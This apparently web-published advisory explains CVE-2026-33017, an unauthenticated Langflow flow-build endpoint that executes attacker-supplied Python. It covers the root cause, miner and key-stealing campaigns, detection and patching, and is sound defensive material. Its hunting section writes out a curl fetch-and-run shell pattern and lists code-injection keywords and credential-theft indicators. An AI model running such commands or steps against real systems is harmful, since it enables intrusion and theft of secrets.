CVE-2026-33017: the Langflow public endpoint that runs your code without a login

A single unauthenticated HTTP POST is enough to run your code on an internet-facing Langflow server. The endpoint POST /api/v1/build_public_tmp/{flow_id}/flow is meant to be public — it builds public flows for anonymous visitors — but in versions below 1.9.0 it accepted an optional data body and built the graph from attacker-supplied flow data instead of the stored flow. Because a Langflow flow can carry Python in its node definitions, and Langflow runs that Python through exec() with no sandbox, the result is full code execution as the Langflow service account — no login required.

What the flaw actually is

Langflow flows are graphs of components, and a custom component carries its own Python in a code field that Langflow executes when it builds the graph — by design. The only thing that is supposed to stop a stranger from submitting code-bearing flows is authentication. The public flow-build endpoint deliberately has none, because it exists to run public flows. The bug is that its handler also honoured an optional data parameter, so when an attacker supplied their own flow definition, the server built that instead of the stored public flow.

From there the attacker's Python rides the normal build path — start_flow_build → Graph.from_payload → instantiate_component → eval_custom_component_code → prepare_global_scope, which calls exec() on the component's code with no sandbox. Because prepare_global_scope runs the top-level statements in that code, the payload fires the moment the graph is built; the flow never even has to be "run". The flaw is classed as CWE-94 (code injection), CWE-95 (eval injection) and CWE-306 (missing authentication). It was found by researcher Aviral Srivastava, who documented the full call chain.

The exploitation chain

From one unauthenticated request to code execution, and then to the two things a compromised AI box is worth — its CPU and its keys. The kill-chain below (and the cheapest places to break it) reads left to right; click any node for the detail.

Am I affected?

Every Langflow release below 1.9.0 (that is, up to and including 1.8.2) is vulnerable; 1.9.0 removes the data parameter so public flows can only execute their stored definition. The quickest non-intrusive check is the unauthenticated version endpoint — curl -s http://TARGET:7860/api/v1/version — and anything under 1.9.0 is exposed. Here is how the risk axes line up (keep them separate — a high CVSS, a high EPSS and a KEV listing each say a different thing):

Exploited in the wild — carefully stated

This is not theoretical. Sysdig's honeypots recorded the first exploit attempt about 20 hours after the advisory — before any public proof-of-concept existed, meaning attackers weaponised it from the advisory text alone. Since then two distinct commodity campaigns have run against the bug. The first drops a Go loader ("lambsys") that kills rival miners, disables AppArmor/SELinux/UFW, wipes logs and installs a customised XMRig Monero miner (Trend Micro, via The Hacker News). The second — Sysdig's "KeyHunter" — is the one that should worry you more: it dumps the process environment to steal OpenAI, Anthropic and AWS keys and then recons Bedrock, S3 and IAM. That is why "just kill the miner" is the wrong response; assume the instance's secrets are gone.

Detection & hunting

The single most useful fact for defenders: the build endpoint is supposed to run a stored flow, so any POST to /api/v1/build_public_tmp/*/flow whose body carries Python code markers is inherently anomalous. ProjectDiscovery ships an official Nuclei template that confirms code execution and falls back to the version check. On the host, watch for the exec() sink being abused:

• Web/proxy: a POST to /api/v1/build_public_tmp/*/flow with a body containing __import__, import os, subprocess, os.popen, exec(, eval(, b64decode or urllib.request — alert on it (Sigma/WAF).
• Host/EDR: the Langflow/uvicorn Python process spawning a shell (/bin/sh, sh -c, bash -c), or bash -c "$(curl -fsSL http://<ip>/…)" fetch-and-run patterns.
• Credential theft: the web process reading .env files or OpenAI/Anthropic/AWS keys, or base64-encoding output followed by an outbound POST.
• Egress: the Langflow host reaching OAST/interactsh domains (.oast.live, ``.oast.pro) or dropper C2 — a Langflow container has no business making outbound shell-fetch traffic.
• Miner IoCs (retro-hunt, low durability): persistence at /var/tmp/.xlamb/, a lambsys.elf Go binary, a customised XMRig, and sustained high CPU.

# Non-intrusive exposure check — is this Langflow below 1.9.0?
curl -s http://TARGET:7860/api/v1/version -H 'accept: application/json' \
 | python3 -c "import sys,json;from packaging.version import parse; \
v=json.load(sys.stdin).get('version','');
print(v,'VULNERABLE (CVE-2026-33017)' if v and parse(v)<parse('1.9.0') else 'patched/unknown')"

What to do now

1. Patch to Langflow ≥ 1.9.0 — the only real fix. Verify the running build reports 1.9.0+ via /api/v1/version; do not trust "1.8.2 patched".
2. Can't patch this hour? Take it off the internet — firewall/VPN-gate port 7860 and block POST /api/v1/build_public_tmp/*/flow at a reverse proxy.
3. Remove the preconditions — disable the default AUTO_LOGIN (no-auth) mode and delete existing public flows so no known UUID exists.
4. Egress-filter the Langflow host so a successful exec() can't fetch stage-2 payloads or exfiltrate to C2.
5. If it was exposed before you patched, assume credential theft — rotate every OpenAI/Anthropic/AWS key, DB credential and SSH key the process could see, hunt the IoCs above, review cloud activity, and rebuild the host rather than cleaning it.

FAQ

Sources

• GitHub Security Advisory GHSA-vwmf-pq79-vjvx (Langflow) — root cause, affected/fixed versions
• Fix commit 73b6612 (removes the data parameter)
• NVD — CVE-2026-33017 — CVSS 3.1 / 4.0 vectors, CWEs
• Aviral Srivastava — how the RCE was found (call chain)
• Sysdig TRT — compromised in 20 hours (timeline, KeyHunter)
• The Hacker News — RCE exploited to deploy Monero miner
• JFrog — Langflow's latest "fixed" version was not fixed (1.8.2)
• ProjectDiscovery Nuclei template — CVE-2026-33017
• CISA — adds CVE-2026-33017 to the KEV catalog